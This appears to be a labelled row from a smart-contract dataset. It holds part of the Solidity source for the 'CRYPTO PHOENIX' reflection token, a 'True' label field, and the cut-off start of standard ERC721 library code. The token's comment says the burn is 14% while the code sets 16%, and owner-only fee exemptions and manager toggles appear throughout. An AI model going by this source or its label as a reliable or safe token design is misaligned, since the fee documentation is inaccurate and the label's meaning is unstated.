emit ManagementTransferred(_manager, newManager);
_manager = newManager;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* Tokenomics:
*
* Redistribution 2%
* Burn 14%
* Dev/Marketing 4%
*/
abstract contract Tokenomics {
using SafeMath for uint256;
string internal constant NAME = "CRYPTO PHOENIX";
string internal constant SYMBOL = "$CHPX";
uint16 internal constant FEES_DIVISOR = 10**3;
uint8 internal constant DECIMALS = 18;
uint256 internal constant ZEROES = 10**DECIMALS;
uint256 private constant MAX = ~uint256(0);
uint256 internal constant TOTAL_SUPPLY = 1000000000000000 * ZEROES;
uint256 internal _reflectedSupply = (MAX - (MAX % TOTAL_SUPPLY));
uint256 internal constant maxTransactionAmount = TOTAL_SUPPLY / 40; // 2.5% of the total supply
uint256 internal constant maxWalletBalance = TOTAL_SUPPLY / 20; // 5% of the total supply
address internal dev1Address = 0x75d9ea6fAfdBEdB2Ce00B76622Aa0DF1B68CaaF6;
address internal dev2Address = 0x35EF633803aE3918f37571AF741bC39Ad11e3Eaa;
address internal dev3Address = 0xfdAF289C815701d2b1b7b34340af584A9fABD2D8;
address internal dev4Address = 0x641E8274ce7513e2df215FcAD97515165019C497;
address internal burnAddress = 0x0000000000000000000000000000000000000000;
enum FeeType { Antiwhale, Burn, Rfi, External, ExternalToETH }
struct Fee {
FeeType name;
uint256 value;
address recipient;
uint256 total;
}
Fee[] internal fees;
uint256 internal sumOfFees;
constructor() {
_addFees();
}
function _addFee(FeeType name, uint256 value, address recipient) private {
fees.push( Fee(name, value, recipient, 0 ) );
sumOfFees += value;
}
function _addFees() private {
_addFee(FeeType.Rfi, 20, address(this) );
_addFee(FeeType.Burn, 160, burnAddress );
_addFee(FeeType.External, 10, dev1Address );
_addFee(FeeType.External, 10, dev2Address );
_addFee(FeeType.External, 10, dev3Address );
_addFee(FeeType.External, 10, dev4Address );
}
function _getFeesCount() internal view returns (uint256){ return fees.length; }
function _getFeeStruct(uint256 index) private view returns(Fee storage){
require( index >= 0 && index < fees.length, "FeesSettings._getFeeStruct: Fee index out of bounds");
return fees[index];
}
function _getFee(uint256 index) internal view returns (FeeType, uint256, address, uint256){
Fee memory fee = _getFeeStruct(index);
return ( fee.name, fee.value, fee.recipient, fee.total );
}
function _addFeeCollectedAmount(uint256 index, uint256 amount) internal {
Fee storage fee = _getFeeStruct(index);
fee.total = fee.total.add(amount);
}
function getCollectedFeeTotal(uint256 index) internal view returns (uint256){
Fee memory fee = _getFeeStruct(index);
return fee.total;
}
}
abstract contract Presaleable is Manageable {
bool internal isInPresale;
function setPreseableEnabled(bool value) external onlyManager {
isInPresale = value;
}
}
abstract contract BaseRfiToken is IERC20, IERC20Metadata, Ownable, Presaleable, Tokenomics {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) internal _reflectedBalances;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
mapping (address => bool) internal _isExcludedFromFee;
mapping (address => bool) internal _isExcludedFromRewards;
address[] private _excluded;
constructor(){
_reflectedBalances[owner()] = _reflectedSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_exclude(owner());
_exclude(address(this));
emit Transfer(address(0), owner(), TOTAL_SUPPLY);
}
function name() external pure override returns (string memory) { return NAME; }
function symbol() external pure override returns (string memory) { return SYMBOL; }
function decimals() external pure override returns (uint8) { return DECIMALS; }
function totalSupply() external pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address account) public view override returns (uint256){
if (_isExcludedFromRewards[account]) return _balances[account];
return tokenFromReflection(_reflectedBalances[account]);
}
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256){
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool){
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external {
address sender = _msgSender();
require(sender != address(0), "BaseRfiToken: burn from the zero address");
require(sender != address(burnAddress), "BaseRfiToken: burn from the burn address");
uint256 balance = balanceOf(sender);
require(balance >= amount, "BaseRfiToken: burn amount exceeds balance");
uint256 reflectedAmount = amount.mul(_getCurrentRate());
_reflectedBalances[sender] = _reflectedBalances[sender].sub(reflectedAmount);
if (_isExcludedFromRewards[sender])
_balances[sender] = _balances[sender].sub(amount);
_burnTokens( sender, amount, reflectedAmount );
}
function _burnTokens(address sender, uint256 tBurn, uint256 rBurn) internal {
_reflectedBalances[burnAddress] = _reflectedBalances[burnAddress].add(rBurn);
if (_isExcludedFromRewards[burnAddress])
_balances[burnAddress] = _balances[burnAddress].add(tBurn);
emit Transfer(sender, burnAddress, tBurn);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcludedFromRewards[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256) {
require(tAmount <= TOTAL_SUPPLY, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount,0);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount,_getSumOfFees(_msgSender(), tAmount));
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) internal view returns(uint256) {
require(rAmount <= _reflectedSupply, "Amount must be less than total reflections");
uint256 currentRate = _getCurrentRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) external onlyOwner() {
require(!_isExcludedFromRewards[account], "Account is not included");
_exclude(account);
}
function _exclude(address account) internal {
if(_reflectedBalances[account] > 0) {
_balances[account] = tokenFromReflection(_reflectedBalances[account]);
}
_isExcludedFromRewards[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcludedFromRewards[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_balances[account] = 0;
_isExcludedFromRewards[account] = false;
_excluded.pop();
break;
}
}
}
function setExcludedFromFee(address account, bool value) external onlyOwner { _isExcludedFromFee[account] = value; }
function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BaseRfiToken: approve from the zero address");
require(spender != address(0), "BaseRfiToken: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _isUnlimitedSender(address account) internal view returns(bool){
return (account == owner());
}
function _isUnlimitedRecipient(address account) internal view returns(bool){
return (account == owner() || account == burnAddress);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BaseRfiToken: transfer from the zero address");
require(recipient != address(0), "BaseRfiToken: transfer to the zero address");
require(sender != address(burnAddress), "BaseRfiToken: transfer from the burn address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if ( isInPresale ){ takeFee = false; }
else {
if ( amount > maxTransactionAmount && !_isUnlimitedSender(sender) && !_isUnlimitedRecipient(recipient) ){
revert("Transfer amount exceeds the maxTxAmount.");
}
if ( maxWalletBalance > 0 && !_isUnlimitedSender(sender) && !_isUnlimitedRecipient(recipient) && !_isV2Pair(recipient) ){
uint256 recipientBalance = balanceOf(recipient);
require(recipientBalance + amount <= maxWalletBalance, "New balance would exceed the maxWalletBalance");
}
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; }
_transferTokens(sender, recipient, amount, takeFee);
}
function _transferTokens(address sender, address recipient, uint256 amount, bool takeFee) private {
uint256 sumOfFees = _getSumOfFees(sender, amount);
if ( !takeFee ){ sumOfFees = 0; }
(uint256 rAmount, uint256 rTransferAmount, uint256 tAmount, uint256 tTransferAmount, uint256 currentRate ) = _getValues(amount, sumOfFees);
_reflectedBalances[sender] = _reflectedBalances[sender].sub(rAmount);
_reflectedBalances[recipient] = _reflectedBalances[recipient].add(rTransferAmount);
if (_isExcludedFromRewards[sender]){ _balances[sender] = _balances[sender].sub(tAmount); }
if (_isExcludedFromRewards[recipient] ){ _balances[recipient] = _balances[recipient].add(tTransferAmount); }
_takeFees( amount, currentRate, sumOfFees );
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeFees(uint256 amount, uint256 currentRate, uint256 sumOfFees ) private {
if ( sumOfFees > 0 && !isInPresale ){
_takeTransactionFees(amount, currentRate);
}
}
function _getValues(uint256 tAmount, uint256 feesSum) internal view returns (uint256, uint256, uint256, uint256, uint256) {
uint256 tTotalFees = tAmount.mul(feesSum).div(FEES_DIVISOR);
uint256 tTransferAmount = tAmount.sub(tTotalFees);
uint256 currentRate = _getCurrentRate();
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTotalFees = tTotalFees.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTotalFees);
return (rAmount, rTransferAmount, tAmount, tTransferAmount, currentRate);
}
function _getCurrentRate() internal view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
uint256 rSupply = _reflectedSupply;
uint256 tSupply = TOTAL_SUPPLY;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_reflectedBalances[_excluded[i]] > rSupply || _balances[_excluded[i]] > tSupply) return (_reflectedSupply, TOTAL_SUPPLY);
rSupply = rSupply.sub(_reflectedBalances[_excluded[i]]);
tSupply = tSupply.sub(_balances[_excluded[i]]);
}
if (tSupply == 0 || rSupply < _reflectedSupply.div(TOTAL_SUPPLY)) return (_reflectedSupply, TOTAL_SUPPLY);
return (rSupply, tSupply);
}
function _getSumOfFees(address sender, uint256 amount) internal view virtual returns (uint256);
function _isV2Pair(address account) internal view virtual returns(bool);
function _redistribute(uint256 amount, uint256 currentRate, uint256 fee, uint256 index) internal {
uint256 tFee = amount.mul(fee).div(FEES_DIVISOR);
uint256 rFee = tFee.mul(currentRate);
_reflectedSupply = _reflectedSupply.sub(rFee);
_addFeeCollectedAmount(index, tFee);
}
function _takeTransactionFees(uint256 amount, uint256 currentRate) internal virtual;
}
abstract contract UniHelper is Ownable, Manageable {
using SafeMath for uint256;
uint256 private withdrawableBalance;
enum Env {Testnet, MainnetV2, MainnetV3}
Env private _env;
address private _mainnetRouterV2Address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router internal _router;
address internal _pair;
uint256 private maxTransactionAmount;
event RouterSet(address indexed router);
receive() external payable {}
function initializeRouterPair(Env env, uint256 maxTx) internal {
_env = env;
_setRouterAddress(_mainnetRouterV2Address);
maxTransactionAmount = maxTx;
}
function _setRouterAddress(address router) private {
IUniswapV2Router _newUniswapRouter = IUniswapV2Router(router);
_pair = IUniswapV2Factory(_newUniswapRouter.factory()).createPair(address(this), _newUniswapRouter.WETH());
_router = _newUniswapRouter;
emit RouterSet(router);
}
function setRouterAddress(address router) external onlyManager() {
_setRouterAddress(router);
}
function _approveDelegate(address owner, address spender, uint256 amount) internal virtual;
}
abstract contract Antiwhale is Tokenomics {
function _getAntiwhaleFees(uint256, uint256) internal view returns (uint256){
return sumOfFees;
}
}
abstract contract PhoenixAbstract is BaseRfiToken, UniHelper, Antiwhale {
using SafeMath for uint256;
constructor(Env _env){
initializeRouterPair(_env, maxTransactionAmount);
_exclude(_pair);
_exclude(burnAddress);
}
function _isV2Pair(address account) internal view override returns(bool){
return (account == _pair);
}
function _getSumOfFees(address sender, uint256 amount) internal view override returns (uint256){
return _getAntiwhaleFees(balanceOf(sender), amount);
}
function _takeTransactionFees(uint256 amount, uint256 currentRate) internal override {
if( isInPresale ){ return; }
uint256 feesCount = _getFeesCount();
for (uint256 index = 0; index < feesCount; index++ ){
(FeeType name, uint256 value, address recipient,) = _getFee(index);
if ( value == 0 ) continue;
if ( name == FeeType.Rfi ){
_redistribute( amount, currentRate, value, index );
}
else if ( name == FeeType.Burn ){
_burn( amount, currentRate, value, index );
}
else {
_takeFee( amount, currentRate, value, recipient, index );
}
}
}
function _burn(uint256 amount, uint256 currentRate, uint256 fee, uint256 index) private {
uint256 tBurn = amount.mul(fee).div(FEES_DIVISOR);
uint256 rBurn = tBurn.mul(currentRate);
_burnTokens(address(this), tBurn, rBurn);
_addFeeCollectedAmount(index, tBurn);
}
function _takeFee(uint256 amount, uint256 currentRate, uint256 fee, address recipient, uint256 index) private {
uint256 tAmount = amount.mul(fee).div(FEES_DIVISOR);
uint256 rAmount = tAmount.mul(currentRate);
_reflectedBalances[recipient] = _reflectedBalances[recipient].add(rAmount);
if(_isExcludedFromRewards[recipient])
_balances[recipient] = _balances[recipient].add(tAmount);
_addFeeCollectedAmount(index, tAmount);
}
function _approveDelegate(address owner, address spender, uint256 amount) internal override {
_approve(owner, spender, amount);
}
}
contract CRYPTOPHOENIX is PhoenixAbstract{
constructor() PhoenixAbstract(Env.MainnetV2){
_approve(owner(),address(_router), ~uint256(0));
}
} | True | [
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pragma solidity ^0.8.6;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
